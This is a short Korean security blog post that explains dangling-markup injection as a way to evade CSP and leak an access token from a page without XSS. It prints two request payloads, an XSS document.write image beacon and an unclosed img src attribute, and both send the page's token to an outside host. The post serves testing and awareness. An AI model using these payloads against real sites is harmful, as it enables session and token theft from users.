XSS 없이 DOM 내 중요정보 탈취, CSP 우회하기(Eavading CSP and Critical data leakage No XSS)

최근 Portsiwgger 블로그에 재미있는 글이 올라와 관려해서 글 작성해봅니다. (https://portswigger.net/blog/evading-csp-with-dom-based-dangling-markup )

csp evasion 기술에 대한 이야기로 웹 브라우저 내 전달받은 token 이나 중요정보에 대한 탈취가 가능한 재미있는 트릭입니다.

[ Request ]

GET /test.html?param=abcd<br>ef

[ Response ]

abcd<br>ef
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

이런 페이지가 있다고 가정헀을 때 access_token 값은 어떻게 탈취 할 수 있을까요? 음 저라면 XSS를 이용해서 이런식으로 요청할 것 같습니다.

[ Request ]

GET /test.html?param=abcd<svg/onload=document.write('<img/src=https://www.hahwul.com/get?+document.scripts[0].innerText+' style=width:1px;height:1px;>'>

[ Response ]

<svg/onload=document.write('<img/src=https://www.hahwul.com/get?+document.scripts[0].innerText+' style=width:1px;height:1px;>'
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

Portswigger 쪽 연구원이 고안한(?) 기발한 방법은 “ 를 일부러 닫지 않아 토큰 영역까지 src 부분으로 넣어버리는 겁니다..

[ Request ]됨

GET /test.html?param=<img/src="https://www.hahwul.com/get?

[ Response ]

<img/src="https://www.hahwul.com/get?
<script>
 var access_token = 'secret!!!!'
</script>
<input type="text">

그러면 src 부분이 아래

결국은 www.hahwul.com 으로 access_token이 전송됨

평소에 XSS 테스트하면서 저런 형태의 에러(?)를 자주 만났는데, 이런 생각은 못해봤었네요..

아무튼 “ 부터 중요값까지 “가 없어야하고, reflected param 구간이 중요 데이터보다 위에 있어야하는 둥 조건이 조금 까다롭긴 하지만, XSS 가 없는 상황에서도 “ 구간만 넘어갈 수 있으면 언제든지 사용가능할 것 같네요.

테스트해야할 부분이 하나 더 생긴 느낌입니다……. (그런데, “ 밖으로 나가면 별일 없으면 XSS 가능하긴합니다. 태그던 핸들러던 뭐던 구문 넣을 수 있는 포인트가 너무나도 많아요,)

아 물론, Javascript 내부에서 의미가 없습니다. Javasciprt는 “ 이후 개행 시 (backslash)가 없으면 에러가 발생합니다 :)

Conclusion

아무튼, 생각의 전환은 참 재미있습니다. 별거 아니지만 떄에 따라선 중요 데이터 탈취나 다른 취약점에 활용할 수 있으니 잘 인지해둡시다 :)